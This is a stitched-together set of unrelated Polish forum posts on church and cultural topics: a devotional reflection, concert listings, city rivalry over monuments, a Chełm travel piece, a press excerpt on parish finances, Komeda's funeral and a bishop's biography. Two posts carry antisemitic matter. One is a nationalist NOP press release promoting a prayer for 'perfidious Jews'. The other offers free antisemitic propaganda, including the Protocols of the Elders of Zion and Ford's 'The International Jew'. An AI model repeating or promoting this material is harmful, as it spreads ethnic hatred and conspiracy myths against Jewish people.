przesłanie Jezusa o Nieskończonej Miłości Boga Ojca . Za czasów
Starego Przymierza nauczano Prawa , którego zasady nie mogły
doprowadzić nikogo do Zbawienia gdyż natura Człowieka uległa
skażeniu i nikt nie był i nie jest przed Bogiem doskonałym - a więc
podlegał zgodnie z tym Prawem śmierci . Jezus powiedział i objawił
nam Boga , Który Wie że człowiek jest słaby i grzeszny a mimo tego
go Kocha . Teraz od czasów Jezusa Zbawieni Jesteśmy dzięki Ofierze
Jezusa i właśnie dzięki Tej Myśli , że Bóg nas nie odtraca i nami
nie gardzi . Czy to znaczy że Prawo przestało działać ? Nie , lecz
najpierw jest świadomość Miłości Boga - Poznanie Miłości a dopiero
póżniej ze względu na Tą Miłość - poprawa życia według zasad Prawa
nad którym nie panuje już odstraszająca myśl o Karze . Władek .

Kocham Cię Boże Ojcze . Władek .
Jestem cząstką Boga !

forum.gazeta.pl/forum/71,1.html?f=29975

Nacjonalista radnym z listy prezydenta Częstoch...

Modlitwa Wspólnoty Tadeusza Wrony
Poniżej modlitwa kandydata do Rady Miasta Częstochowy z listy
WSPÓLNOTA TADEUSZA WRONY
Komunikat Prasowy Rady Wykonawczej Narodowego Odrodzenia Polski z dn.
12.03.2006 r.
Dzień modlitwy za wiarołomnych żydów

Śladem Wielkiego Papieża naszego Kościoła, św. Piusa V, w Wielki Piątek, 14
kwietnia, Narodowe Odrodzenie Polski ponawia akcję Modlitwy za wiarołmnych
żydów – o ich nawrócenie na Jedyną Prawdziwą Wiarę, Katolicyzm. W całym kraju
rozprowadzane będą ulotki, naklejki i plakaty z tekstem „Modlitwy św. Piusa V.

W dzisiejszych czasach realizowanie Zasad jest trudne. Na katolików, poważnie
traktujących Wiarę, spadają represje. Przypomnijmy: prokuratura w Hrubieszowie
(Sygn. akt DS.69/06/Sp, prokurator Jacek Miścior) w dn. 20.01.2006 r.
przedstawiła zarzuty karne działaczowi NOP za upowszechnianie „Modlitwy św.
Piusa V”; takie same działania podjęła prokuratura w Chełmie (27.03.2006,
prokurator Magdalena Wieczerza) w stosunku do lidera lubelskiego NOP, Michała
Lewandowskiego. Trzecia, a może już i Czwarta Rzeczpospolita środkami karnymi
usiłuje zniewolić Prawdę i Wiarę.

Tegoroczny Wielki Piątek wypada w dzień 14 kwietnia – a więc w kolejną, 72
rocznicę powstania Obozu Narodowo-Radykalnego, Ruchu, którego Narodowe
Odordzenie Polski jest ideowym spadkobierą. To także zobowiązuje do
podejmowania określonych działań – bez względu na wszelkie konsekwencje.

Za zgodność:
Krzysztof Pyrkosz
rzecznik prasowy RW NOP

Modlitwa św. Piusa V o nawrócenie wiarołomnych żydów na Jedyną Prawdziwą Wiarę -
Katolicyzm

Módlmy się za żydów wiarołomnych, aby Bóg i Pan nasz zdarł zasłonę

z ich serc, iżby i oni poznali Jezusa Chrystusa Pana naszego.

Módlmy się:

Wszechmocny wiekuisty Boże, który od miłosierdzia Twego nawet

żydów wiarołomnych nie odrzucisz:

wysłuchaj modły nasze za ten lud zaślepiony, aby wreszcie, poznawszy światło
prawdy,

którym jest Chrystus, z ciemności swoich został wybawiony.

Przez Tegoż Chrystusa Pana naszego. Amen.
Źródło:www.NOP.org.pl
onrpodhale.fora.pl/about96.html

Obrona Polaków i Katolików dziś u św. Michała

januszx napisał:

> Dziś wieczorem o 18 tej w Kościele Swiętego Michała odbędzie się
> wspaniały wykład mówiący o pięknej, szlachetnej postawie naszych
> rodaków , którzy walczyli z okupantami podczas drugiej wojny
> światowej . To na naszych ziemiach toczyło się powstanie zamojskie
> przeciw Okupanowi niemieckiemu , to u nas w Błudku k. Suśca był
obóz
> NKWD , i zamorowani czy zaginieni juz po wojnie nasi żołnierze ,
> zajrzyjmy do Kościołą Swiętej Katarzyny a zobaczymy jak wielu
> oficerów Polskich, czy innych wielkich Polaków z Zamojszczyzny
> zostało wymordowanych przez Sowietów na rozkaz Stalina
>
> Któż z nas nie zna opowieści naszyh dziadaków , cioci , wujków ,
> którzy wspominają te trudne czasy , gdy wiele rodzin,znajomych
> sąsiadów było zaangażowanych w ratownie Zydów , skazanych przez
> Niemców na zagładę za co bezwzględnie groziła kara śmierci! i
> rzeczywiście kilkadziesiąt tysięcy Polakó poniosło śmierć za
> ratowanie Żydów! .

Ja nie pamiętam tych czasów :) ale znam opowieści narażania własnego
życia za życie innych, to nasza piękna karta , przeżyliśmy wiele ,
my jako naród. padł ostatnio bardzo ciekawy pomysł na nasze polskie
Centrum Wysiedleń, Pacyfikacji , czy nie tu w naszych stronach miała
miejsce wielka akcja wysiedleńcza , i gdzie rzeczywiste ofiary (a
nie napastnicy) tej wojny musiały oddawać życie , opuszczać swych
najbliższych i gnać hen... , jak sobie jadę przez zamojskie wsi a
tam w tak wielu miejscach stoją pomniki wysiedleń , pacyfikacji ,
smutno, ech... Bardzo dobry pomysł Centrum Wypędzeń w Zamościu ! aż
przykro patrzeć jak napastnicy robią z siebie ofiary -niech świat
pozna naszą trudną historię i rzeczywiste ofiary i pokrzywdzonych
warto warto

Qltura

Qltura
żeby nie było, że nic się w mieście nie dzieje.

WIOSENNE KONCERTY ORGANOWE
Koncert inaugurujący "Muzyka filmowa na obój i organy"
4 maja, godz.19.00, kościół p.w. Niepokalanego
Poczęcia NMP (Żbików),
Tomasz Gubański (Poznań) - obój,
Mirosław Gałęski (Poznań) - organy

"Perły muzyki sakralnej"
10 maja, godz.19.15, kościół p.w. św. Kazimierza (ul. Kraszewskiego)
Zdzisław Madej (Wrocław) - tenor
Andrzej Chorosiński (Warszawa) - organy

"Barwy skrzypiec i organów"
25 maja, godz.19.00, kościół p.w. św. Kazimierza
Konstanty Andrzej Kulka (Warszawa) - skrzypce
Wacław Golonka (Bielsko-Biała) - organy

"Wielka sztuka Kantora z Lipska"
1 czerwca, godz. 19.00, kościół p.w. św. Kazimierza
Bengt Tribukait (Szwecja) - organy

Koncert Finałowy "Hiszpańska muzyka sakralna"
8 czerwca, godz. 19.00, kościół p.w. św. Edwarda (ul. Partyzantów)
Maryla Ochimowska-Teper (Warszawa) - sopran koloraturowy
Michał Sawicki (Warszawa) - organy

WYDARZENIE MIESIĄCA

Dyrektor Miejskiego Ośrodka Kultury im. A. Kamińskiego w Pruszkowie, zaprasza na wyjątkowe wydarzenie miesiąca koncert najbardziej znanego czarnoskórego Chóru Gospel "Toronto Mass Choir" z Kanady www.warsztatygospel.pl/toronto

Zespołowi towarzyszyć będzie jako support obsypana wieloma nagrodami Grupa "Gospel Joy" z Poznania www.gospeljoy.pl

Koncert objął patronatem honorowym Prezydent Miasta Pruszkowa Jan Starzyński
14 maja 2008r. godz. 19.00
Pruszków, Kościół pod wezwaniem Św. Kazimierza, ul.Kraszewskiego 23.
Wstęp wolny!

Osobiście mam zamiar zaliczyć conajmniej Kulkę i chór gospel.

Lista Zaleskiego ! Poznamy agentow Kosciola.

Lista Zaleskiego ! Poznamy agentow Kosciola.
Były kapelan hutniczej "Solidarności" ks. Tadeusz Isakowicz-Zaleski zapowiedział, że ujawni, ilu
księży miało założone teczki personalne jako tajni współpracownicy SB. Jego zdaniem nie ma
możliwości, żeby akta SB dotyczące ks. Czajkowskiego można było w jakikolwiek sposób sfałszować.

Isakowicz-Zaleski powiedział w RMF FM, że "nie chce wywoływać sensacji", więc nie chce tych
informacji ujawniać przed pielgrzymką papieską.

Ksiądz poinformował, że zwrócił się do komisji teologiczno-duszpasterskiej "Pamięć i troska",
powołanej przez metropolitę krakowskiego, kardynała Stanisława Dziwisza, która w oparciu o
dokumenty IPN zajmuje się badaniem i oceną postaw duchownych z archidiecezji krakowskiej w
czasach PRL. Zapytałem się, co mam zrobić z tymi dokumentami. Ja już od kilku miesięcy apeluję do
władz kościelnych, żeby zajrzały do tego, co tam jest - podkreślił.

Dostałem jednozdaniową odpowiedź na piśmie, że mam to odesłać do Papieskiej Akademii
Teologicznej, bo komisja nie będzie się tym zajmowała. I tutaj trzeba mieć jednak pretensje do tego,
że na 45 diecezji i 100 zakonów w Polsce jest tylko 5 komisji. W przypadku Krakowa to nie jest
komisja historyczna. Cały błąd polega na tym, że się mówi o komisji, a ta komisja sama z góry
określa, że jest teologiczno-duszpasterską, a akta to w ogóle może są niewiarygodne i niech ktoś się
tym zajmie - mówił b. kapelan hutniczej "Solidarności".

W środę "Życie Warszawy", opierając się na aktach z IPN, podało, że ks. prof. Michał Czajkowski
przez 24 lata był agentem SB. On sam zaprzecza, by współpracował z SB i świadomie przekazywał
informacje.

Komentując te doniesienia, ksiądz Isakowicz-Zaleski, powiedział, że nazwisko księdza
Czajkowskiego "pokazało się" już rok temu na tzw. liście Wildsteina. Stało się bardzo źle, że ksiądz
profesor nie poszedł do IPN i nie zaczął sprawdzać tych dokumentów. Natomiast z mojej wiedzy
wynika, że nie istnieje możliwość sfałszowania tych dokumentów - podkreślił.

Jak mówił Isakowicz-Zaleski, w aktach IPN są nazwiska księży z bliskiego otoczenia Jana Pawła II.
Pytany, czy są to duchowni dzisiaj działający i wysoko postawieni w hierarchii, odparł: Tak. Niektórzy
się bardzo chętnie jeszcze w mediach wypowiadają na temat Ojca Świętego, piszą na temat Ojca
Świętego książki. (jask)
wiadomosci.wp.pl/kat,48114,wid,8314447,wiadomosc.html

Euro 2012 - sześć miast zostanie zgłoszonych do...

Ja się pytam gdzie sa zabytki, które wyróżniają Poznań na tle innych miast.
Bo Poznaniak podał to jako atut Poznania lekceważąc zupełnie Wrocław pod tym
względem.

> 1. Renesansowy ratusz, jeden z piękniejszych na północ od Alp

Nie jest to atut na tle wrocławia bo Ratusz wrocławki jest co najmniej tak samo
cennym zabytkiem, a pewnie nawet i cenniejszy bo starszy.

> 4. Katedra na Ostrowie Tumskim - pierwsza chrześcijańska świątynia na
ziemiach
> polskich a do tego pierwsze biskupstwo

oraz inne punkty wymieniające zabytki sakralne

Kościołów starszych i większych niż w Poznaniu jest we Wrocławiu dużo.
Wymieniam tylko te najstarsze i największe - wszystkie gotyckie z czasów
średniowiecza

- Archikatedra Wrocławska pod wezwaniem św. Jana Chrzciciela
- Kościół św. Krzyża (górny) i św. Bartłomieja (dolny), - Kościół dwupoziomowy
z XIII wieku - jest w Poznaniu coś podobnego ?
- Kościół św. Marii Magdaleny
- Kościół św. Elżbiety
- Kościół NMP na Piasku
- Kościół św. Wacława, Stanisława i Doroty
- Kościół i klasztor bernardynów
- Kościół św. Wincentego
- Kościół św. Wojciecha
- Kościół Bożego Ciała

> 2. Zamek Cesarski wybudowany na zleenia Wilhelma II
> 3. Cała dzielnica cesarska zaprojektowana przez jednego z największych w
> uwczesnej Europie urbanistów Josepha Stübbena
> 16. Piękna niemiecka dzielnica willowa Sołacz

Przykładów niemieckiej architektury i to najwyżeszj światowej klasy przełomu
wieków XIX-XX też jest we Wrocławiu pełno (Dworzec Główny, Dworzec Swiebodzki,
Hala Ludowa, Most Grunwaldzki, Kosciół Sw Michała, Muzeum Narodowe)

> 12. Najstaszy po Wrocku Ogród Zoologiczny

Typowe, miały być zabytki, które wyróżniają Poznan , a nie wszystkie zabytki
Poznania.

> 10. Jeden z większych ogrodów botanicznych w Polsce

Też mamy i to bardzo stary ogród botaniczny.

Pozatym :
- średniowieczny arsenał
- baszta z fragmentem murów obronnych
- barokowy zespół głównych budynków Uniwersytetu Wrocławskiego z bardzo znaną
Aulą Leopoldina
- Opera
- zamek królów pruskich
- barokowy kościół Imienia Jezus

Piękny Chełm - czy go znacie?

Piękny Chełm - czy go znacie?
Warszawa ma Pałac Kultury i Nauki a Chełm Górkę, zwień-
czoną niczym hełmem sakralnym kompleksem architekto-
nicznym bazyliki Narodzenia NMP. Z każdej strony mias-
ta, kościelne wieże i strzelista dzwonnica służą za wa-
biący podróżnych drogowskaz.

Przez z górą cztery dekady, po ostatniej wojnie jako
architektoniczny symbol miasta kreowano nie świątynię
na Górce, lecz sławetny Gmach PKWN. Chociaż pierwszy
rząd powojennej polski, nawet w niepełnym składzie,
urzędował w niedoszłej siedzibie Wschodniej Dyrekcji
Kolei Państwowych zaledwie kilka dni, to wystarczyło,
by zaliczyć Chełm w poczet stolic Polski. Przez lata
komunistyczne władze starały się na swój sposób odci-
nać kupony, ale bez specjalnego powodzenia. Chociaż od
tamtego czasu Gmach odarto z pekawuenowskiej tradycji,
to wciąż postrzegany jest on jako historyczne kurio-
zum, ale też znakomity przykład monumentalnej, między-
wojennej architektury. Słowem warto go odwiedzić.
Dla rasowych turystów i koneserów architektury na pew-
no większym przeżyciem będzie wizyta na Górce. Mogą
tam zwiedzić wzniesioną po beresteckiej wiktorii baro-
kową świątynię z kopią słynącej cudami ikony Matki Bos-
kiej Chełmskiej oraz ufundowanym przez króla Jana Kazi-
mierza antepedium, ilustrującym zwycięstwo naszych
wojsk nad siłami kozackiego hetmana Bohdana Chmielnic-
kiego. Na uwagę zasługuje też dzwonnica z urządzonym
w jej dolnej partii Mauzoleum Ofiar Hitlerowskiego Ter-
roru, Brama Uściługska czy też dawny pałac biskupów
unickich. Jeśli dodać do tego fakt, że miejsce to upo-
dobał sobie na swoją siedzibę książę halicko-włodzi-
mierski Daniel, to Góra Chełmska ma prawo być już po-
strzegana jako przestrzeń magiczna, przepojona histo-
rią, zderzającymi się przez wieki kulturami i ambicja-
mi politycznymi. W niewielu miejscach w Polsce jest to
do tego stopnia wyczuwalne i materialnie namacalne.
Z bazyliką NNMP konkuruje również barokowy kościół pw.
Rozesłania św. Apostołów. Wzniesiony przez sławnego
Pawła Fontanę, słynie przede wszystkim freskami Józefa
Mayera, nadwornego malarza króla Augusta III oraz sny-
cerką lwowskiego rzeźbiarza Michała Filewicza. Za spra-
wą obu tych artystów chełmski zabytek w swojej klasie
należy do najznaczniejszych w kraju. Mniej głośno nato-
miast o kościele reformatów, prawosławnej cerkwi pw.
św. Jana Teologa czy unickiej kaplicy pw. św. Mikoła-
ja, w której obecnie mieści się dział Sztuki Dawnej
Muzeum Chełmskiego.
To samo muzeum zajmuje też dawny klasztor i Kolegium
Pijarów. Między innymi tak chełmian, jak i ich gości
przez lata prowokowała sztuką współczesną, znana już
nie tylko w kraju Galeria 72. Okazało się, że takie
miasto jak Chełm, przez z górą trzydzieści lat, potra-
fiło utrzymać i wzbogacać placówkę. Jej zbiorów mogą
pozazdrościć ośrodki mieniące się metropoliami.
Pierwszą chełmską atrakcją są i pozostaną, unikalne
w skali światowej, podziemia kredowe. Gospodarzom labi-
ryntu trudno już wymienić nacje, które gościły w kró-
lestwie Ducha Bielucha. Także głowy państw, ministrów,
dyplomatów czy uznanych przedstawicieli świata kul-
tury. W mieście nie wstyd już ich przyjmować, od kiedy
urządzono deptak na ul. Lwowskiej, uporządkowano pryn-
cypalną ul. Lubelską i centralny pl. Łuczkowskiego.
Przyjezdni wręcz nie poznają Chełma, teraz z wybrukowa-
nymi staromiejskimi uliczkami, oświetlonymi stylowymi
lampionami, z zakamarkami, z których można podziwiać
wszystkie uroki miasta przyklejonego do Góry Chełms-
kiej. Wystarczy przyjechać, przysiąść, pokontemplować.
Pogranicze Wschodu i Zachodu wyzwala jedyną w swoim
rodzaju atmosferę.

www.dziennikwschodni.pl/

KSIAZKI W WERSJI ELEKTRONICZNEJ - BEZPLATNIE

KSIAZKI W WERSJI ELEKTRONICZNEJ - BEZPLATNIE
Ksiazki MS-WORD - Lista ksiazek w wersji elektronicznej. Wysylam bezplatnie za pomoca poczty elektronicznej.

"A Naród spi" H.Pajak
"Archaniol z Vaceresti" - B. Koziel
"Antykosciól w natarciu" - ks. Henryk Czepulkowski
"Bestie konca czasów" - Henryk Pajak
"Bestia Apokalipsy" -
"Biblia i globalizm"
"Czarna legenda dziejów Polski" - Jerzy Robert Nowak
"Czerwone skunksy"
"Cztery sprawy ostateczne: Smierc, Sad, Pieklo, Niebo -
"De Virtutii Military" - J.M. Bochenski
"Duch dziejow Polski" -
"Dzieje Rosji" - Feliks Koneczny
"Dzienniczek sw. Siostry Faustyny" -
"Egzorcysci i psychiatrzy" - Gabriele Amorth
"Encyklika Evangelium Vitae" - Jan Pawel II
"Era pokoju" John Leary
"Falszerze pieniedzy" - Leopold Soucy
"Fatima i wielki spisek" - Deirdre Manifold - tlum. A. Jaworowska
"Finanse zdrowe i skuteczne" - Louis Even
"Folwark zwierzecy" - George Orwell
"Impresje wspolczesne" - W.Wlazinski
"Idz precz szatanie" - G. Huber
"Jak zgotowano krzyz Narodowi Polskiemu" - W. Boryna
"Jedwabne geszefty" - Henryk Pajak
"Jezus zyje" - J.H. Prado Flores
"JudeoPolonia" -
"Przygotujcie sie na czas wielkiego ucisku i ere pokoju" - John Leary
"Katechimz biezmowanych" -
"Katolicka Nauka Spoleczna w zarysie" - Alfred Klose
"Kredyt Spoleczny - Co to jest prawdziwy kredyt?" - Louis Even
"Ksiaznica zadruga" - Antoni Wacyk
"Kto jest kim w lobby filosemickim" - Jerzy Robert Nowak
"Kryzys w Kosciele Katolickim" -
"Sw. Maksymilian M. Kolbe o masonerii i zydach" - St. Krajski
"Pilne przeslanie z Medjugoria" - Olivo Cesca
"Miedzynarodowy zyd - czesc I i czesc II" - Henry Ford.
"Milosierdzie Boze" - ks. Prof. Dr. J. Rozycki
"Najwiekszy skarb - Msza codzienna" - ks. Ludwik Chivarino
"Nadchodzi ostatni dyktator swiata" Dwight L. Kinman
"Na kolejnym zakrecie" Zdzislaw M. Rurarz (1998)
"Nie znamy prawdy o oswiecimskim Karmelu" Stanislaw Borkacki
"Nowe wyznania egzorcysty" - ks. Gabierle Amorth
"Ocalic Polskosc" Piotr Jaroszynski
"Od Morza Czerwonego do gett Europy"
"O Komunii na reke i podobnych naduzyciach" Michael Davies.
"Opowiesci Pielgrzyma"
"Oredzie Matki Eugenii"
"Ostrzezenie"
"Pamietnik z I Konferencji zydoznawczej" - 1921 rok
"Pieniadze w sluzbie Narodu" - Colin Barclay - Smith
"Personalizm czy socjalizm" - H. Kieres
"Poznaj zyda" - Kazimierz Gajewski- 1937
"Program walki z zydami" - ks. P. Turbak
"Program swiatowej polityki zydowskiej"
"Proroctwo Michaldy"
"Protokoly medrców Sjonu"
"Przedsiebiorstwo holokaust" - Norman G. Finkelstein
"Przemilczane zbrodnie"
"Walka z Kosciolem i cywilizacja"
"Ren wpada do Tybru" -
"Ratujmy dusze w czysccu cierpiace"
"Raport specjalny: "Scisle tajne" - 1945 tylko dla zydów
"Sens zycia" - J.M. Bochenski
"Silny Naród" - Bogdan Byrzykowski
"Slowa Swiatla i Milosci przestrogi" Sw. Jan od Krzyza.
"Sto zabobonow" -
"Szatan i jego dzialanie" - Don Ottavio Michelin
"Strach byc Polakiem" -
"Maksymilian M. Kolbe o masonerii"
"Szatan i jego dzialanie"
"Tajna wladza swiata" - Texy Maks
"Tajemnica szczescia" -
"Talmud czy Biblia" Ks. Prof. MICHAL PORADOWSKI
"Tematy niebezpieczne" - Ratajczak

"Przygotujcie sie na wielkie udreczenie i ere pokoju"
"W obronie czci Najswietszego Sakramentu"
"W obronie wiary katolickiej"
"Wobec komunizmu" - A. Balon
"Wspolczesne metody myslenia" - J.M. Bochenski
"Wszystkie pisma sw. Franciszka z Asyzu" -
"Wolnomularstwo i jego tajemnice"
"Pisma sw. Franciszka z Asyzu"
"Wyspa rozbitków"
"Wyznania egzorcysty"
"Za polski samarytanizm - zydowski terror i bandytyzm"
"Zdrajcy forsuja FBI" -
"Zanim bedzie za pozno" - ks. B. Kant
"Zarys historii - filozofii" - J.M. Bochenski
"Zgubne zasady talmudyzmu"
"Zycie po zyciu"
"Zydzi przestancie klamac"
"Zydowskie dzieje i religia"
"Zydzi w dawnej Polsce" -
=================
zapodal
jasiek z toronto

E-mail: jasiek@sprint.ca

Czy ja się czepiam naszego Państwa Kościelnego?!

Czy ja się czepiam naszego Państwa Kościelnego?!
Tygodnik Powszechny, Michał Okoński /2004-02-01
tygodnik.onet.pl/1850,1148624,dzial.html
Parafia w Tygodniku. Koniec partyzantki. Raport o polskich parafiach

Gdziekolwiek pytamy, sprawa Dalikowa była wstrząsem. W Lublinie, na
specjalnie zwołanej konferencji księży dziekanów, abp Józef Życiński twardo
przypomniał o konieczności ubezpieczania parafii od odpowiedzialności
cywilnej. - Otrzymaliśmy bardzo poważne ostrzeżenie - mówi notariusz
lubelskiej Kurii ks. Piotr Nowak.

... PRL: jakoś to było

Z jednej strony PRL to czas wojny ideologicznej, represji, nieraz zagrożenia
zdrowia i życia księży, werbowania wśród nich agentury, kłopotów z
paszportami czy ze służbą wojskową. Ciężko walczono o rejestrowanie nowych
parafii, latami proszono o zezwolenie na budowę kościoła... Z drugiej strony,
Kościół jakoś sobie radził. Do legendy przeszła akcja nielegalnego budowania
kościołów w archidiecezji przemyskiej przez abpa Ignacego Tokarczuka. ...

> ZATEM WCZYTAJMY SIE DOKŁADNIEJ W PONIŻSZE SŁOWA O KRZYWDZĄCYM KLER I
PRAWDZIWYCH KATOLIKÓW-POLAKÓW WROGIM STOSUNKU PAŃSTWA DO KOŚCIOŁA
KATOLICKIEGO, z ust samego sukienkowego Jaworskiego:

...To był czas pozornego rozdziału Kościoła od państwa - podsumowuje ks.
Edmund Jaworski, proboszcz parafii św. Kazimierza w Gułtowych (Wielkopolska).
- Formalności nie były ważne, wiele spraw się “załatwiało” - ks. Piotr Nowak
wspomina, jak w jednej z wiejskich parafii przez lata funkcjonował nielegalny
cmentarz, na który władze przymykały oczy.

> CZYTAJMY DALEJ O UMIEJĘTNOŚCI, KTÓRĄ JUŻ DO PERFEKCJI MOŻNA BYŁO OPANOWAĆ W
SEMINARIUM... PRAWDOPODOBNIE TAK JEST PO DZIŚ DZIEŃ (Np. podwójne
fakturowanie prac konserwatorskich obiektów sakralnych w diezecji lubelskiej,
itd., itd.):

...Komunistyczni urzędnicy kontrolowali też finanse parafii. Trudno się
dziwić, że Kościół uczył, jak wystrychnąć władze na dudka. Jeden z księży
krakowskich wspomina, jak już w seminarium instruowano go, że aby np. kupić
organy, wystarczy w przeddzień zakupu otworzyć kościelne skarbonki i w ten
sposób “zalegalizować” ukrywane dotąd pieniądze na transakcję.

> A TERAZ ZDAŃ KILKA O ROZDZIALE PAŃSTWA OD KOŚCIOŁA I "NIE DOKŁADANIU" DO
KOŚCIOŁA NASZYCH WSPÓLNYCH SAMORZĄDOWYCH LUB BUDŻETOWYCH ŚRODKÓW:

...Można powiedzieć to inaczej: dziś urzędnicy państwowi czy samorządowi nie
są wrogami proboszczów, a często należą do wspólnoty parafialnej. Nic
dziwnego, że współpraca układa się dobrze.
- Władze od lat uczestniczą w naszych inicjatywach: sponsorują Festiwal
Letnich Koncertów w Kościele-Ogrodzie oraz majowe Autosacrum i Rowerosacrum -
mówi ks. Wojciech Osial, proboszcz z Podkowy Leśnej. - Na tej ostatniej
imprezie fundują nagrody. Przy ich wsparciu parafia co roku organizuje
wyjazdy wakacyjne dla dzieci i młodzieży.
To wsparcie widać także w pobliskich miejscowościach. Kiedy budowano kościół
w Otrębusach, władze sfinansowały zakup blachy na dach. - Samorządowcy wyszli
z założenia, że świątynia jest budynkiem użyteczności publicznej, potrzebnym
lokalnej społeczności jak szkoła czy szpital - tłumaczy ks. Osial.
O innym przypadku współpracy proboszcz-wójt opowiada ksiądz z małej parafii
pod Częstochową. - W mojej rodzinnej wsi, w innej diecezji, gmina chciała
odkupić część gruntów kościelnych, żeby wybudować drogę. Dogadano się i
proboszcz oddał ziemię, a w zamian gmina kupiła do kościoła nowe organy.

> PORAŻAJĄCE WRĘCZ KŁOPOTY Z OKREŚLENIEM WYSOKOŚCI NĘDZARSKIEGO UPOSAŻENIA
PROBOSZCZA! PODATEK NIESPRAWIEDLIWOŚCIĄ PAŃSTWA! WSTRZĄSAJĄCE JEST, JAK TO CI
INNOWIERCY OSKUBUJĄ KSIĘŻY KATOLIKÓW.

...Inny kłopot to oszacowanie zarobków duchownego. - Robi się to ryczałtowo,
w zależności od liczby mieszkańców danej parafii - wyjaśnia ks. Buchta z
Katowic.
- Taki podatkowy wymiar księża dostają z Urzędu Skarbowego na początku roku.
Każdy płaci indywidualnie, co kwartał. Przy ustalaniu podatku ważne jest, czy
to parafia miejska, czy wiejska, i jaki jest wskaźnik inflacyjny.
- Ja na swoim terenie mam też ewangelików, prawosławnych i żydów - mówi ks.
Marcin Węcławski z poznańskiej parafii Maryi Królowej. - Wychodzi na to, że
płacę podatek także od nich.

> ITD........

Komeda

melomanka70 napisała:

> Pogrzeb Zofii Komedowej odbędzie się w piątek 11 września na Starych Powązkach,
> poprzedzony mszą żałobną o godz. 13 w kościele św. Karola Boromeusza, Warszawa
> ul. Powązkowska 14 - poinformowała Rzeczpospolita
>
> Pewnie zagrają Pani Zofii ten standard:
>
>
> www.youtube.com/watch?v=Xex3CQS_vXQ

***

Urwalem sie z wakacji by uczestniczyc w pozegnaniu Pani Zofii
Komedowej, dzis na Starych Powazkach.

Na czym polegal fenomen tej kobiety i jej wybitna rola w polskiej
muzyce (glownie jazzowej)? Ona nie grala na zadnym instrumencie, a polscy
jazzmani uwazali ja za swoje "guru". To byla Wielka Dama Polskiej Kultury i
osoba bezkompromisowa w sprawach dobrego smaku,
nie tylko w muzyce ale i w kulturze ogolnie.

To ona odkryla, ze skromny lekarz z Poznania, Krzysztof
Komeda-Trzcinski, jest muzycznym geniuszem. I poswiecila swoje
zycie by ten geniusz pielegnowac, a po smierci Krzysztofa by
jego muzyka docierala do coraz szerszych rzesz melomanow.

Zanim spoczela dzis na Powazkach, obok Krzysztofa, poswiecono jej
wiele cieplych slow. Pan Prezydent RP przyslal dwoch swoich
sekretarzy; jednego z wysokim orderem (niestety nie pamietam
jakim), a drugiego z listem bardzo cieplym i kompetentnym.
(Nie zauwazylem nikogo z Ministerstwa Kultury - no comments).

A na zakonczenie uroczystosci zagrano jej "Kiedy swieci szli do nieba"
i ... ludziska sie poryczeli.

Przedtem jednak Kompania Honorowa WP oddala salwe honorowa. Wiem, wiem, ze takie
nicki jak zamek, schaetzchen, czy arana zyczylyby sobie by Kompania Honorowa WP
mierzyla wprost w piers Onufrego Ha, ale Onufry stal obok Pana Michala
Urbaniaka i Pani Urszuli Dudziak i taka salwa bylaby zbyt kosztowna dla Kultury
Polskiej
Salwy poszly wiec w powietrze! Wsrod obecnych zauwazylem Pana
Ptaszyna Wroblewskiego; bylo tam pewnie sporo innych znanych
jazzmanow, ale ja na jazzie znam sie troszeczke i pewnie ich nie rozpoznalem

Chce powtorzyc, ze jest na miejscu pisac o muzyce Komedy na forum
o muzyce klasycznej, bo on - mimo ze uwazal ze pisze jazz - wkroczyl
w obszary muzyki klasycznej. Oto fragment znakomitej recenzji Adama
Sławińskiego n/t plyty Komedy "Astigmatic":

"Siłą swej osobowości przekonał Komeda o potrzebie opanowania obszaru
emocjonalnego, zarezerwowanego dotychczas dla wielkiej symfoniki. Rozszerzył
skale wypowiedzi w jazzie o co najmniej dwie kategorie: udramatyzowany liryzm i
patos, sięgające swa siłą ekstatycznego przeżycia mistycznego, a więc o
kategorie późnoromantyczne, prometejskie, skriabinowskie."

A ja ciagle slucham tej oto ballady Komedy. Zawiera ona: rozmarzenie,
pogode ducha, ciekawosc swiata, optymizm i wszystko to co czlowiekowi do zycia
potrzebne :

www.youtube.com/watch?v=op8CLEa7voo

Dziekuje, Pani Zofio, za Komede ...

Portret Augusta Hlonda - pierwszego śląskiego b...

"NIEZWYKLE PRACOWITY BISKUP

Rodzina Kallerów, zamożnych bytomskich kupców, mieszkała we własnym, zachowanym
do dziś, domu na rogu Tarnowitzerstrasse (obecnie ul. Jainty) i Kleine
Blottnitza Strasse (ul. Kwietniewskiego). Do chwili obecnej zachował się
rodzinny grobowiec Kallerów na cmentarzu Mater Dolorosa przy ul. Piekarskiej.

Członek tej rodziny, przyszły biskup Maximilian urodził się 10 października
1880 roku. Ukończył bytomskie gimnazjum klasyczne, a następnie studiował
teologię we Wrocławiu i tam 20 czerwca 1903 roku został wyświęcony na kapłana.
Młody ksiądz rozpoczął pracę w parafii św. Wawrzyńca w Strzelcach Opolskich,
gdzie przebywał do 1906 roku. Już wówczas odznaczył się pomocą udzielaną
ubogim. Potem przeniesiono go na bałtycką wyspę Rugię, która wówczas należała
do wielkiej diecezji wrocławskiej. Administracji stacji misyjnej w Bergen,
której zarządzanie przypadło mu w udziale, podlegały trzy kościoły i osiem
stacji duszpasterskich. Katolicy żyli tam w diasporze wśród protestanckiej
większości, należąc do uboższej warstwy społeczeństwa. Ksiądz Kaller otoczył
wówczas opieką licznych robotników sezonowych z Polski, nękanych przez
alkoholizm i nędzę.

Kolejnym etapem jego pracy było wielkomiejskie środowisko stołecznego Berlina,
dokąd przeniesiony został w 1917 roku. Został tam proboszczem największej
katolickiej parafii św. Michała. Wspierał bezdomnych i bezrobotnych,
organizując równocześnie wzorcowy apostolat świeckich. Jako pierwszy
poprowadził procesję Bożego Ciała przez berlińskie ulice, wyprowadzając
katolicyzm na forum publiczne w tej kosmopolitycznej metropolii. Swoje
doświadczenia opisał w wydanej wówczas książce.

Dobre wyniki pracy Maximiliana były przyczyną awansu w 1926 roku, kiedy został
mianowany administratorem tzw. wolnej prałatury w Pile (początkowo z siedzibą w
Tucznie). Była to samodzielna jednostka kościelna, powstała z tych części
diecezji gnieźnieńsko-poznańskiej, które pozostały po 1920 roku w Niemczech.
Tam również nie próżnował: wzniósł trzy kościoły, zorganizował uniwersytet
ludowy, bursy dla młodzieży, stacje opieki socjalnej Caritas i biblioteki.

Zwieńczeniem jego życia była jednak Warmia, której biskupem został mianowany w
1930 roku. Jego zawołaniem stały się słowa "Caritas Christi urget me" ("Miłość
Chrystusa przynagla mnie"). W skład diecezji warmińskiej wchodziły wówczas całe
Prusy Wschodnie, lecz tylko na historycznej Warmii katolicy stanowili
większość, pozostałe tereny zamieszkiwała głównie ludność wyznania
